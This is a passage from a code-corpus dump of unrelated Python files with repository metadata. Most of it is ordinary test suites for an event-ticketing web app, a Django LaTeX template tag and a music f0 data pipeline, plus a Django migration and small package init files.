'location_lat': None, 'location_lng': None, 'ticket_limit': 42, 'donation_target': None, 'tickets_taken': 0, 'image': None, 'secondary_image': None, } assert await db_conn.fetchval('select count(*) from ticket_types where event=$1', new_event_id) == 3 async def test_clone_event_ticket_types(cli, url, factory: Factory, db_conn, login): await factory.create_company() await factory.create_cat() await factory.create_user() event_id = await factory.create_event() await db_conn.execute( """ insert into ticket_types (event, name, price, slots_used) values ($1, 'foo', 123, 3), ($1, 'bar', 54.32, null) """, event_id, ) assert await db_conn.fetchval('select count(*) from ticket_types where event=$1', event_id) == 5 await login() data = dict( name='New Event', date={'dt': datetime(2032, 2, 1, 19).strftime('%s'), 'dur': 7200}, status='published', ) r = await cli.json_post(url('event-clone', id=factory.event_id), data=data) assert r.status == 201, await r.text() assert await db_conn.fetchval('select count(*) from events where id!=$1', factory.event_id) == 1 new_event_id = (await r.json())['id'] ticket_types = await db_conn.fetch( 'select event, name, price, slots_used, mode, custom_amount from ticket_types where event=$1 order by id', new_event_id, ) assert [dict(r) for r in ticket_types] == [ { 'event': new_event_id, 'name': 'Standard', 'price': None, 'slots_used': 1, 'mode': 'ticket', 'custom_amount': False, }, { 'event': new_event_id, 'name': 'Standard', 'price': Decimal('10.00'), 'slots_used': 1, 'mode': 'donation', 'custom_amount': False, }, { 'event': new_event_id, 'name': 'Custom Amount', 'price': None, 'slots_used': 1, 'mode': 'donation', 'custom_amount': True, }, { 'event': new_event_id, 'name': 'foo', 'price': Decimal('123.00'), 'slots_used': 3, 'mode': 'ticket', 'custom_amount': False, }, { 'event': new_event_id, 'name': 'bar', 'price': Decimal('54.32'), 'slots_used': None, 'mode': 'ticket', 'custom_amount': False, }, ] async def test_clone_event_slug(cli, url, factory: Factory, db_conn, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event(name='Event', slug='event', status='pending', highlight=True) await login() data = dict(name='Event', date={'dt': datetime(2032, 2, 1, 19).strftime('%s'), 'dur': 7200}, status='published') r = await cli.json_post(url('event-clone', id=factory.event_id), data=data) assert r.status == 201, await r.text() h, name, slug = await db_conn.fetchrow('select highlight, name, slug from events where status=$1', 'published') assert h is True assert name == 'Event' assert re.fullmatch('event-....', slug) async def test_clone_event_guest(cli, url, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') await factory.create_event() await login() data = dict(name='Event', date={'dt': datetime(2032, 2, 1, 19).strftime('%s'), 'dur': 7200}, status='published') r = await cli.json_post(url('event-clone', id=factory.event_id), data=data) assert r.status == 403, await r.text() async def test_clone_event_not_found(cli, url, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await login() data = dict(name='Event', date={'dt': datetime(2032, 2, 1, 19).strftime('%s'), 'dur': 7200}, status='published') r = await cli.json_post(url('event-clone', id=123), data=data) assert r.status == 404, await r.text() async def test_edit_waiting_list(cli, url, db_conn, factory: Factory, login, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event() await login() ben = await factory.create_user(first_name='ben', last_name='ben', email='ben@example.org') await db_conn.execute('insert into waiting_list (event, user_id) values ($1, $2)', factory.event_id, ben) r = await cli.json_post(url('event-edit', pk=factory.event_id), data=dict(ticket_limit=12)) assert r.status == 200, await r.text() assert await db_conn.fetchval('SELECT ticket_limit FROM events') == 12 assert len(dummy_server.app['emails']) == 1 email = dummy_server.app['emails'][0] assert email['To'] == 'ben ben <ben@example.org>' assert email['Subject'] == 'The Event Name - New Tickets Available' assert 'trigger=event-tickets-available' in email['X-SES-MESSAGE-TAGS'] async def test_waiting_list_remove(cli, url, db_conn, factory: Factory, settings): await factory.create_company() await factory.create_cat() await factory.create_user() event_id = await factory.create_event() ben = await factory.create_user(first_name='ben', last_name='ben', email='ben@example.org') await db_conn.execute('insert into waiting_list (event, user_id) values ($1, $2)', event_id, ben) query = {'sig': waiting_list_sig(event_id, ben, settings)} r = await cli.get(url('event-waiting-list-remove', id=event_id, user_id=ben, query=query), allow_redirects=False) assert r.status == 307, await r.text() assert r.headers['Location'] == f'http://127.0.0.1:{cli.server.port}/waiting-list-removed/' assert await db_conn.fetchval('select count(*) from waiting_list') == 0 async def test_waiting_list_remove_wrong(cli, url, db_conn, factory: Factory, settings): await factory.create_company() await factory.create_cat() await factory.create_user() event_id = await factory.create_event() ben = await factory.create_user(first_name='ben', last_name='ben', email='ben@example.org') await db_conn.execute('insert into waiting_list (event, user_id) values ($1, $2)', event_id, ben) r = await cli.get(url('event-waiting-list-remove', id=event_id, user_id=ben), allow_redirects=False) assert r.status == 307, await r.text() assert r.headers['Location'] == f'http://127.0.0.1:{cli.server.port}/unsubscribe-invalid/' assert await db_conn.fetchval('select count(*) from waiting_list') == 1 query = {'sig': 'wrong'} r = await cli.get(url('event-waiting-list-remove', id=event_id, user_id=ben, query=query), allow_redirects=False) assert r.status == 307, await r.text() assert r.headers['Location'] == f'http://127.0.0.1:{cli.server.port}/unsubscribe-invalid/' assert await db_conn.fetchval('select count(*) from waiting_list') == 1 query = {'sig': waiting_list_sig(event_id + 1, ben, settings)} r = await cli.get(url('event-waiting-list-remove', id=event_id, user_id=ben, query=query), allow_redirects=False) assert r.status == 307, await r.text() assert r.headers['Location'] == f'http://127.0.0.1:{cli.server.port}/unsubscribe-invalid/' assert await db_conn.fetchval('select count(*) from waiting_list') == 1 async def test_event_allow_donation(cli, url, dummy_server, factory: Factory, login, db_conn): await factory.create_company() await factory.create_cat(slug='testing') await factory.create_user() await factory.create_event(allow_tickets=False, slug='evt', allow_donations=True, status='published') r = await cli.get(url('event-get-public', category='testing', event='evt')) assert r.status == 200, await r.text() data = await r.json() assert data['event']['allow_tickets'] is False assert data['event']['allow_donations'] is True assert data['ticket_types'] == [ {'name': 'Standard', 'price': 10, 'mode': 'donation'}, {'name': 'Standard', 'price': None, 'mode': 'ticket'}, ] async def test_create_event_mode(cli, url, db_conn, factory: Factory, login, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user() await login() data = dict( name='foobar', category=factory.category_id, mode='both', date={'dt': datetime(2032, 2, 1, 19, 0).strftime('%s'), 'dur': None}, timezone='Europe/London', long_description='hello', ) r = await cli.json_post(url('event-add'), data=data) assert r.status == 201, await r.text() allow_tickets, allow_donations = await db_conn.fetchrow('SELECT allow_tickets, allow_donations FROM events') assert (allow_tickets, allow_donations) == (True, True) assert 1 == await db_conn.fetchval('SELECT COUNT(*) FROM events') async def test_edit_event_mode(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event(allow_tickets=True, allow_donations=False) await login() r = await cli.json_post(url('event-edit', pk=factory.event_id), data=dict(mode='donations')) assert r.status == 200, await r.text() allow_tickets, allow_donations = await db_conn.fetchrow('SELECT allow_tickets, allow_donations FROM events') assert (allow_tickets, allow_donations) == (False, True) r = await cli.json_post(url('event-edit', pk=factory.event_id), data=dict(mode='both')) assert r.status == 200, await r.text() allow_tickets, allow_donations = await db_conn.fetchrow('SELECT allow_tickets, allow_donations FROM events') assert (allow_tickets, allow_donations) == (True, True) assert 1 == await db_conn.fetchval('SELECT COUNT(*) FROM events') async def test_donation_tt_updates(cli, url, factory: Factory, db_conn, login): await factory.create_company() await factory.create_cat(slug='cat') await factory.create_user() await factory.create_event(slug='evt', status='published') await login() r = await cli.get(url('event-get-public', category='cat', event='evt')) assert r.status == 200, await r.text() data = await r.json() assert data['ticket_types'] == [ {'name': 'Standard', 'price': 10, 'mode': 'donation'}, {'name': 'Standard', 'price': None, 'mode': 'ticket'}, ] tt_id = await db_conn.fetchval("SELECT id FROM ticket_types where mode='donation' and not custom_amount") ticket_types = [ {'id': tt_id, 'name': 'foobar', 'price': 123, 'active': True, 'slots_used': 1, 'mode': 'donation'}, {'name': 'new', 'price': 44, 'active': True, 'slots_used': 1, 'mode': 'donation'}, ] r = await cli.json_post(url('update-event-ticket-types', id=factory.event_id), data={'ticket_types': ticket_types}) assert r.status == 200, await r.text() r = await cli.get(url('event-get-public', category='cat', event='evt')) assert r.status == 200, await r.text() data = await r.json() assert data['ticket_types'] == [ {'mode': 'donation', 'name': 'new', 'price': 44}, {'name': 'foobar', 'price': 123, 'mode': 'donation'}, {'name': 'Standard', 'price': None, 'mode': 'ticket'}, ] async def test_tt_updates_invalid(cli, url, factory: Factory, db_conn, login): await factory.create_company() await factory.create_cat(slug='cat') await factory.create_user() await factory.create_event(slug='evt', status='published') await login() tt_id1 = await db_conn.fetchval("SELECT id FROM ticket_types where mode='donation' and not custom_amount") tt_id2 = await db_conn.fetchval("SELECT id FROM ticket_types where mode='ticket'") ticket_types = [ {'id': tt_id1, 'name': 'foobar', 'price': 123, 'active': True, 'slots_used': 1, 'mode': 'donation'}, {'id': tt_id2, 'name': 'foobar', 'price': 123, 'active': True, 'slots_used': 1, 'mode': 'ticket'}, ] r = await cli.json_post(url('update-event-ticket-types', id=factory.event_id), data={'ticket_types': ticket_types}) assert r.status == 400, await r.text() assert await r.json() == {'message': 'all ticket types must have the same mode'} async def test_tt_updates_change(cli, url, factory: Factory, db_conn, login): await factory.create_company() await factory.create_cat(slug='cat') await factory.create_user() await factory.create_event(slug='evt', status='published') await login() tt_id = await db_conn.fetchval("SELECT id FROM ticket_types where mode='ticket'") ticket_types = [ {'id': tt_id, 'name': 'foobar', 'price': 123, 'active': True, 'slots_used': 1, 'mode': 'donation'}, ] r = await cli.json_post(url('update-event-ticket-types', id=factory.event_id), data={'ticket_types': ticket_types}) assert r.status == 400, await r.text() assert await r.json() == {'message': 'ticket type modes should not change'} r = await cli.get(url('event-get-public', category='cat', event='evt')) assert r.status == 200, await r.text() data = await r.json() assert data['ticket_types'] == [ {'name': 'Standard', 'price': 10, 'mode': 'donation'}, {'name': 'Standard', 'price': None, 'mode': 'ticket'}, ]

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5a6ef040df6044245191e961aa7db56540fd9689

62

py

Python

examples/__init__.py

sheepy0125/hisock

177b172032837f17567e80426bae0e3ec79016b7

[ "MIT" ]

null

examples/__init__.py

sheepy0125/hisock

177b172032837f17567e80426bae0e3ec79016b7

[ "MIT" ]

1

2021-09-03T14:22:15.000Z

examples/__init__.py

sheepy0125/hisock

177b172032837f17567e80426bae0e3ec79016b7

[ "MIT" ]

null

import examples.basic import examples.tictactoe del examples

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py

Python

test.py

PanggNOTlovebean/TimeseriesTransformer

ab7aa0bc638dc3cbb83a26c037573c9a60055531

[ "MIT" ]

null

test.py

PanggNOTlovebean/TimeseriesTransformer

ab7aa0bc638dc3cbb83a26c037573c9a60055531

[ "MIT" ]

null

test.py

PanggNOTlovebean/TimeseriesTransformer

ab7aa0bc638dc3cbb83a26c037573c9a60055531

[ "MIT" ]

null

import numpy as np print(np.__version__)

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ceab3fff7f588e212d7b18deba285ef57e77696b

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py

Python

latexify/tests.py

AmmsA/django-latexify

2beb04d9b16229ab2469c2920c3426f67030f2eb

[ "MIT" ]

27

2016-06-20T08:44:38.000Z

2018-08-22T16:33:47.000Z

latexify/tests.py

AmmsA/django-latexify

2beb04d9b16229ab2469c2920c3426f67030f2eb

[ "MIT" ]

4

2016-10-17T17:52:32.000Z

2018-05-04T12:29:05.000Z

latexify/tests.py

AmmsA/django-latexify

2beb04d9b16229ab2469c2920c3426f67030f2eb

[ "MIT" ]

9

2017-01-07T14:42:42.000Z

2018-09-14T21:12:34.000Z

from __future__ import unicode_literals from django.test import TestCase from django.template import Context, Template from django.template import TemplateSyntaxError class LatexifyTests(TestCase): def tag_test(self, template, context, output): t = Template("{}{}".format('{% load latexify %}', template)) c = Context(context) self.assertEqual(t.render(c), output) def test__normal_text(self): template = '{% latexify test_text %}' context = {'test_text': 'hello world'} output = 'hello world' self.tag_test(template, context, output) def test__parse_math_is_true_and_no_math_in_text(self): template = '{% latexify test_text parse_math=True %}' context = {'test_text': 'hello world'} output = 'hello world' self.tag_test(template, context, output) def test__parse_math_is_true_and_inline_math_in_text(self): template = '{% latexify test_text parse_math=True %}' context = {'test_text': '\$f(x)=\sqrt(2)\$'} output = '' \ '' \ 'f(x)=\\sqrt(2)' \ '' self.tag_test(template, context, output) def test__parse_math_is_true_and_block_math_in_text(self): template = '{% latexify test_text parse_math=True %}' context = {'test_text': '\$$f(x)=\sqrt(2)\$$'} output = '' \ '' \ 'f(x)=\\sqrt(2)' \ '' self.tag_test(template, context, output) def test__parse_math_is_true_and_block_and_inline_math_in_text(self): template = '{% latexify test_text parse_math=True %}' context = {'test_text': '\$$f(x)=\sqrt(4)\$$ is \$f(x)=2\$'} output = '' \ '' \ 'f(x)=\\sqrt(4) is ' \ 'f(x)=2' \ '' self.tag_test(template, context, output) def test__parse_math_is_true_and_inline_and_block_math_in_text(self): template = '{% latexify test_text parse_math=True %}' context = {'test_text': '\$f(x)=\sqrt(4)\$ is \$$f(x)=2\$$'} output = '' \ '' \ 'f(x)=\\sqrt(4) is ' \ 'f(x)=2' \ '' self.tag_test(template, context, output) def test__parse_math_is_true_not_closed_inline_math_tag_in_text(self): template = '{% latexify test_text parse_math=True %}' context = {'test_text': '\$f(x)=\sqrt(4)'} output = '\\$f(x)=\\sqrt(4)' self.tag_test(template, context, output) def test__parse_math_is_true_not_closed_block_math_tag_in_text(self): template = '{% latexify test_text parse_math=True %}' context = {'test_text': '\$$f(x)=\sqrt(4)'} output = '' \ '\\$$f(x)=\\sqrt(4)' \ '' self.tag_test(template, context, output) def test__parse_math_is_true_unmatching_math_tags_in_text(self): template = '{% latexify test_text parse_math=True %}' context = {'test_text': '\$$f(x)=\sqrt(4)\$'} output = '' \ '\\$$f(x)=\\sqrt(4)\\$' \ '' self.tag_test(template, context, output) def test__parse_math_is_true_unmatching_math_tags_reversed(self): template = '{% latexify test_text parse_math=True %}' context = {'test_text': '\$f(x)=\sqrt(4)\$$'} output = '' \ '\\$f(x)=\\sqrt(4)\\$$' \ '' self.tag_test(template, context, output) def test__parse_math_is_true_inline_tag_inside_block_tag(self): template = '{% latexify test_text parse_math=True %}' context = {'test_text': '\$$g(x)=\$\sqrt(9)\$\$$'} output = '' \ '\\$$g(x)=\\$\\sqrt(9)\\$\\$$' \ '' self.tag_test(template, context, output) def test__parse_math_is_true_block_tag_inside_inline_tag(self): template = '{% latexify test_text parse_math=True %}' context = {'test_text': '\$y(x)=\$$\sqrt(16)\$$\$'} out = '' \ '\\$y(x)=\\$$\\sqrt(16)\\$$\\$' \ '' self.tag_test(template, context, out) def test__parse_math_is_true_normal_text_then_block_tag(self): template = '{% latexify test_text parse_math=True %}' context = {'test_text': 'The following math eq: \$$y(x)=\sqrt(16)\$$ is complete'} output = '' \ 'The following math eq: ' \ '' \ 'y(x)=\\sqrt(16)' \ ' is complete' self.tag_test(template, context, output) def test__parse_math_is_true_normal_text_then_inline_tag(self): template = '{% latexify test_text parse_math=True %}' context = {'test_text': 'The following math eq: \$y(x)=\sqrt(16)\$ is complete'} output = '' \ 'The following math eq: ' \ '' \ 'y(x)=\\sqrt(16)' \ ' is complete' self.tag_test(template, context, output) def test__both_inline_and_block_args_are_true(self): template = '{% latexify test_text math_inline=True math_block=True %}' context = {'test_text': 'The following math eq: \$y(x)=\sqrt(16)\$ is complete'} output = '' \ 'The following math eq: ' \ '\\$y(x)=\\sqrt(16)\\$ is complete' \ '' self.tag_test(template, context, output) def test__math_block_set_true(self): template = '{% latexify test_text math_block=True %}' context = {'test_text': 'The following math eq: \$$y(x)=\sqrt(16)\$$ is complete'} output = '' \ 'The following math eq: ' \ '\\$$y(x)=\\sqrt(16)\\$$ ' \ 'is complete' self.tag_test(template, context, output) def test__latex_css_is_specified(self): template = '{% latexify test_text latex_css="my_css_class" %}' context = {'test_text': 'Hello world'} output = '' \ 'Hello world' \ '' self.tag_test(template, context, output) def test__value_from_setting(self): template = '{% value_from_settings "LATEX_MATH_INLINE_CSS_CLASS" %}' context = {} output = 'django-latexify math inline' self.tag_test(template, context, output) def test__value_from_setting_no_arg(self): with self.assertRaises(TemplateSyntaxError): template = '{% value_from_settings %}' context = {} output = '' self.tag_test(template, context, output)

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null

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6

0c9f42994e6e22c376a892601d29f9164a66c49b

40

py

Python

molpy/algorithms/__init__.py

kylincaster/molpy

39304733570d62613bd7708834d2185bcce4ae86

[ "BSD-3-Clause" ]

6

2021-11-04T12:28:44.000Z

2021-12-22T13:49:52.000Z

molpy/algorithms/__init__.py

kylincaster/molpy

39304733570d62613bd7708834d2185bcce4ae86

[ "BSD-3-Clause" ]

2

2021-11-26T12:06:24.000Z

2021-11-28T11:03:11.000Z

molpy/algorithms/__init__.py

kylincaster/molpy

39304733570d62613bd7708834d2185bcce4ae86

[ "BSD-3-Clause" ]

4

2021-11-04T10:36:51.000Z

2021-12-17T11:58:47.000Z

from molpy.algorithms.traversal import *

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6

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52

py

Python

spark/pi-v1/model/calculate_pi.py

PipelineAI/models

d8df07877aa8b10ce9b84983bb440af75e84dca7

[ "Apache-2.0" ]

44

2017-11-17T06:19:05.000Z

2021-11-03T06:00:56.000Z

spark/pi-v1/model/calculate_pi.py

PipelineAI/models

d8df07877aa8b10ce9b84983bb440af75e84dca7

[ "Apache-2.0" ]

3

2018-08-09T14:28:17.000Z

2018-09-10T03:32:42.000Z

spark/pi-v1/model/calculate_pi.py

PipelineAI/models

d8df07877aa8b10ce9b84983bb440af75e84dca7

[ "Apache-2.0" ]

21

2017-11-18T15:12:12.000Z

2020-08-15T07:08:33.000Z

def calculate(count, n): return 4.0 * count / n

17.333333

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1

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null

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1

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1

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6

0cc568d9e0c6f21fee456a7266078b1620ce9fa5

1,165

py

Python

app/grandchallenge/challenges/migrations/0029_auto_20200918_1413.py

pushpanjalip/grand-challenge.org

607a30c9fe0e603b79f7b49dc9efeb48a484ebfc

[ "Apache-2.0" ]

null

app/grandchallenge/challenges/migrations/0029_auto_20200918_1413.py

pushpanjalip/grand-challenge.org

607a30c9fe0e603b79f7b49dc9efeb48a484ebfc

[ "Apache-2.0" ]

null

app/grandchallenge/challenges/migrations/0029_auto_20200918_1413.py

pushpanjalip/grand-challenge.org

607a30c9fe0e603b79f7b49dc9efeb48a484ebfc

[ "Apache-2.0" ]

null

# Generated by Django 3.0.10 on 2020-09-18 14:13 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ("challenges", "0028_auto_20200917_1113"), ] operations = [ migrations.RemoveField( model_name="challenge", name="publication_citation_count", ), migrations.RemoveField( model_name="challenge", name="publication_google_scholar_id", ), migrations.RemoveField( model_name="challenge", name="publication_journal_name", ), migrations.RemoveField( model_name="challenge", name="publication_url", ), migrations.RemoveField( model_name="externalchallenge", name="publication_citation_count", ), migrations.RemoveField( model_name="externalchallenge", name="publication_google_scholar_id", ), migrations.RemoveField( model_name="externalchallenge", name="publication_journal_name", ), migrations.RemoveField( model_name="externalchallenge", name="publication_url", ), ]

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6

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162

py

Python

taurex/data/profiles/pressure/__init__.py

ucl-exoplanets/TauREx3_public

cf8da465448df44c3c4dcc2cd0002ef34edd3920

[ "BSD-3-Clause" ]

10

2019-12-18T09:19:16.000Z

2021-06-21T11:02:06.000Z

taurex/data/profiles/pressure/__init__.py

ucl-exoplanets/TauREx3_public

cf8da465448df44c3c4dcc2cd0002ef34edd3920

[ "BSD-3-Clause" ]

10

2020-03-24T18:02:15.000Z

2021-08-23T20:32:09.000Z

taurex/data/profiles/pressure/__init__.py

ucl-exoplanets/TauREx3_public

cf8da465448df44c3c4dcc2cd0002ef34edd3920

[ "BSD-3-Clause" ]

8

2020-03-26T14:16:42.000Z

2021-12-18T22:11:25.000Z

from .pressureprofile import SimplePressureProfile, PressureProfile from .arraypressure import ArrayPressureProfile from .filepressure import FilePressureProfile

40.5

67

0.895062

13

162

11.153846

0.615385

0

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162

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null

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1

0

1

0

1

0

6

0b23c2d24c2930d57cd73d7f5f0fa032271cc2af

141

py

Python

tests/base.py

nephila/djangocms-apphook-setup

615491dcb4c9383f346abfa8f79f7f5309722405

[ "BSD-3-Clause" ]

9

2015-10-25T18:44:36.000Z

2020-12-28T18:20:38.000Z

tests/base.py

nephila/djangocms-apphook-setup

615491dcb4c9383f346abfa8f79f7f5309722405

[ "BSD-3-Clause" ]

13

2015-12-20T13:01:10.000Z

2020-12-02T11:18:18.000Z

tests/base.py

nephila/djangocms-apphook-setup

615491dcb4c9383f346abfa8f79f7f5309722405

[ "BSD-3-Clause" ]

5

2016-09-29T05:23:44.000Z

2021-07-08T07:15:56.000Z

from app_helper.base_test import BaseTestCase class BaseTest(BaseTestCase): """ Base class with utility function """ pass

14.1

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141

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true

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null

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6

0b73cb8219a3db90762cae657f1fe62ded68d6f2

29

py

Python

src/SDA_Turki/__init__.py

TurkiBt/SDA-Turki

b3b541ed7bfaf7099d28491a11872e7964fca858

[ "MIT" ]

null

src/SDA_Turki/__init__.py

TurkiBt/SDA-Turki

b3b541ed7bfaf7099d28491a11872e7964fca858

[ "MIT" ]

null

src/SDA_Turki/__init__.py

TurkiBt/SDA-Turki

b3b541ed7bfaf7099d28491a11872e7964fca858

[ "MIT" ]

null

from .my_class import MyClass

29

0.862069

5

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4.8

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0b82437b4d3ddd352067362346b6cd314e357711

38,515

py

Python

tests/test_compute_multitask_data.py

jollyjonson/multitask-f0

0f33475599bd69acce8cd9a1a96f20fc1c8b7701

[ "MIT" ]

10

2019-01-08T02:31:12.000Z

2021-04-26T09:52:46.000Z

tests/test_compute_multitask_data.py

jollyjonson/multitask-f0

0f33475599bd69acce8cd9a1a96f20fc1c8b7701

[ "MIT" ]

1

2019-03-11T18:12:07.000Z

tests/test_compute_multitask_data.py

jollyjonson/multitask-f0

0f33475599bd69acce8cd9a1a96f20fc1c8b7701

[ "MIT" ]

2

2019-03-11T12:23:08.000Z

2019-06-20T15:58:06.000Z

import unittest import os import numpy as np import medleydb as mdb from deepsalience import compute_multitask_data as CMD class TestMultiF0ToTimeFreq(unittest.TestCase): def test_default(self): times = [0.0, 0.1, 0.2, 0.8] freqs = [[], [200.1, 207.7], [], [82.1]] actual_times, actual_freqs = CMD.multif0_to_timefreq(times, freqs) expected_times = [0.1, 0.1, 0.8] expected_freqs = [200.1, 207.7, 82.1] self.assertEqual(expected_times, actual_times) self.assertEqual(expected_freqs, actual_freqs) class TestGetReplaceInfo(unittest.TestCase): def test_one(self): replace_path = os.path.join( "/Users/rabitt/Dropbox/piano_guitar_resynth", "vocalists_replace" ) mtrack = mdb.MultiTrack('AHa_TakeOnMe') (actual_annotations, actual_altindices, actual_indicies) = CMD.get_replace_info(mtrack, replace_path) expected_annotations = { 2: { 'tags': ['multif0', 'vocal', 'melody'], 'times': [11.104943311], 'freqs': [150.758] } } expected_altindices = { 2: os.path.join(replace_path, 'AHa_TakeOnMe_STEM_02_replace.wav') } expected_indices = [2] self.assertEqual(expected_annotations.keys(), actual_annotations.keys()) for k in actual_annotations.keys(): self.assertEqual( expected_annotations[k]['tags'], actual_annotations[k]['tags'] ) self.assertEqual( expected_annotations[k]['times'][0], actual_annotations[k]['times'][0] ) self.assertEqual( expected_annotations[k]['freqs'][0], actual_annotations[k]['freqs'][0] ) self.assertEqual(expected_altindices, actual_altindices) self.assertEqual(expected_indices, actual_indicies) def test_two(self): mtrack = mdb.MultiTrack('ArcadeFire_BlackMirror') replace_path = os.path.join( "/Users/rabitt/Dropbox/piano_guitar_resynth", "vocalists_replace" ) (actual_annotations, actual_altindices, actual_indicies) = CMD.get_replace_info(mtrack, replace_path) expected_annotations = {} expected_altindices = {} expected_indices = [] self.assertEqual(expected_annotations.keys(), actual_annotations.keys()) for k in actual_annotations.keys(): self.assertEqual( expected_annotations[k]['tags'], actual_annotations[k]['tags'] ) self.assertEqual( expected_annotations[k]['times'][0], actual_annotations[k]['times'][0] ) self.assertEqual( expected_annotations[k]['freqs'][0], actual_annotations[k]['freqs'][0] ) self.assertEqual(expected_altindices, actual_altindices) self.assertEqual(expected_indices, actual_indicies) class TestGetResynthInfo(unittest.TestCase): def test_one(self): resynth_path = '/Users/rabitt/Dropbox/piano_guitar_resynth/resynth' mtrack = mdb.MultiTrack('AHa_TakeOnMe') (actual_annotations, actual_altindices, actual_indicies_guitar, actual_indices_piano) = CMD.get_resynth_info( mtrack, resynth_path, [2]) expected_annotations = { 1: { 'tags': ['multif0'], 'times': [119.4550566893424], 'freqs': [830.60939515989025] }, 3: { 'tags': ['multif0'], 'times': [11.435827664399094], 'freqs': [123.47082531403103] }, 4: { 'tags': ['multif0', 'guitar'], 'times': [49.458503401360545], 'freqs': [293.66476791740757] }, 6: { 'tags': ['multif0'], 'times': [5.5495691609977325], 'freqs': [246.94165062806206] } } expected_altindices = { 1: os.path.join(resynth_path, 'AHa_TakeOnMe_STEM_01_resynth.wav'), 3: os.path.join(resynth_path, 'AHa_TakeOnMe_STEM_03_resynth.wav'), 4: os.path.join(resynth_path, 'AHa_TakeOnMe_STEM_04_resynth.wav'), 6: os.path.join(resynth_path, 'AHa_TakeOnMe_STEM_06_resynth.wav') } expected_indices_guitar = [4] expected_indices_piano = [1, 3, 6] self.assertEqual(expected_annotations.keys(), actual_annotations.keys()) for k in actual_annotations.keys(): self.assertEqual( expected_annotations[k]['tags'], actual_annotations[k]['tags'] ) self.assertEqual( expected_annotations[k]['times'][0], actual_annotations[k]['times'][0] ) self.assertEqual( expected_annotations[k]['freqs'][0], actual_annotations[k]['freqs'][0] ) self.assertEqual(expected_altindices, actual_altindices) self.assertEqual(expected_indices_guitar, actual_indicies_guitar) self.assertEqual(expected_indices_piano, actual_indices_piano) def test_two(self): resynth_path = '/Users/rabitt/Dropbox/piano_guitar_resynth/resynth' mtrack = mdb.MultiTrack('Adele_SomeoneLikeYou') (actual_annotations, actual_altindices, actual_indicies_guitar, actual_indices_piano) = CMD.get_resynth_info( mtrack, resynth_path, [2]) expected_annotations = { 1: { 'tags': ['multif0', 'piano'], 'times': [0.83591836734693881], 'freqs': [164.81377845643496] } } expected_altindices = { 1: os.path.join( resynth_path, 'Adele_SomeoneLikeYou_STEM_01_resynth.wav') } expected_indices_guitar = [] expected_indices_piano = [1] self.assertEqual(expected_annotations.keys(), actual_annotations.keys()) for k in actual_annotations.keys(): self.assertEqual( expected_annotations[k]['tags'], actual_annotations[k]['tags'] ) self.assertEqual( expected_annotations[k]['times'][0], actual_annotations[k]['times'][0] ) self.assertEqual( expected_annotations[k]['freqs'][0], actual_annotations[k]['freqs'][0] ) self.assertEqual(expected_altindices, actual_altindices) self.assertEqual(expected_indices_guitar, actual_indicies_guitar) self.assertEqual(expected_indices_piano, actual_indices_piano) def test_three(self): mtrack = mdb.MultiTrack('ArcadeFire_BlackMirror') resynth_path = '/Users/rabitt/Dropbox/piano_guitar_resynth/resynth' stem_indices = [] (actual_annotations, actual_altindices, actual_indicies_guitar, actual_indices_piano) = CMD.get_resynth_info( mtrack, resynth_path, stem_indices) expected_annotations = { 2: { 'tags': ['multif0', 'guitar'], 'times': [10.832108843537416], 'freqs': [116.54094037952248] }, 7: { 'tags': ['multif0', 'guitar'], 'times': [11.122358276643991], 'freqs': [116.54094037952248] } } expected_altindices = { 2: os.path.join( resynth_path, 'ArcadeFire_BlackMirror_STEM_02_resynth.wav'), 7: os.path.join( resynth_path, 'ArcadeFire_BlackMirror_STEM_07_resynth.wav') } expected_indices_guitar = [2, 7] expected_indices_piano = [] self.assertEqual(expected_annotations.keys(), actual_annotations.keys()) for k in actual_annotations.keys(): self.assertEqual( expected_annotations[k]['tags'], actual_annotations[k]['tags'] ) self.assertEqual( expected_annotations[k]['times'][0], actual_annotations[k]['times'][0] ) self.assertEqual( expected_annotations[k]['freqs'][0], actual_annotations[k]['freqs'][0] ) self.assertEqual(expected_altindices, actual_altindices) self.assertEqual(expected_indices_guitar, actual_indicies_guitar) self.assertEqual(expected_indices_piano, actual_indices_piano) class TestGetOrigStemInfo(unittest.TestCase): def test_one(self): mtrack = mdb.MultiTrack('AcDc_BackInBlack') stem_indices = [2, 4] (actual_annotations, actual_annot_activity, actual_indices) = CMD.get_orig_stem_info(mtrack, stem_indices) expected_annotations = { 3: { 'tags': ['multif0', 'bass'], 'times': [5.294149660], 'freqs': [85.2297] }, 6: { 'tags': ['multif0', 'vocal', 'melody'], 'times': [25.094965986], 'freqs': [689.325] } } expected_annot_activity = {3: None, 6: None} expected_indices = [3, 5, 6] self.assertEqual(expected_annotations.keys(), actual_annotations.keys()) for k in actual_annotations.keys(): self.assertEqual( expected_annotations[k]['tags'], actual_annotations[k]['tags'] ) self.assertEqual( expected_annotations[k]['times'][0], actual_annotations[k]['times'][0] ) self.assertEqual( expected_annotations[k]['freqs'][0], actual_annotations[k]['freqs'][0] ) self.assertEqual(expected_annot_activity, actual_annot_activity) self.assertEqual(expected_indices, actual_indices) def test_two(self): mtrack = mdb.MultiTrack('ArcadeFire_BlackMirror') stem_indices = [2, 7] (actual_annotations, actual_annot_activity, actual_indices) = CMD.get_orig_stem_info(mtrack, stem_indices) expected_annotations = { 4: { 'tags': ['multif0', 'bass'], 'times': [0.058049887], 'freqs': [0.0] }, 6: { 'tags': ['multif0', 'vocal', 'melody'], 'times': [26.790022676], 'freqs': [162.773] } } expected_annot_activity = {4: None, 6: None} expected_indices = [3, 4, 6] self.assertEqual(expected_annotations.keys(), actual_annotations.keys()) for k in actual_annotations.keys(): self.assertEqual( expected_annotations[k]['tags'], actual_annotations[k]['tags'] ) self.assertEqual( expected_annotations[k]['times'][0], actual_annotations[k]['times'][0] ) self.assertEqual( expected_annotations[k]['freqs'][0], actual_annotations[k]['freqs'][0] ) self.assertEqual(expected_annot_activity, actual_annot_activity) self.assertEqual(expected_indices, actual_indices) def test_three(self): mtrack = mdb.MultiTrack('MusicDelta_BebopJazz') stem_indices = [3] (actual_annotations, actual_annot_activity, actual_indices) = CMD.get_orig_stem_info(mtrack, stem_indices) expected_annotations = { 2: { 'tags': ['multif0', 'bass'], 'times': [0.632743764], 'freqs': [86.5701] }, 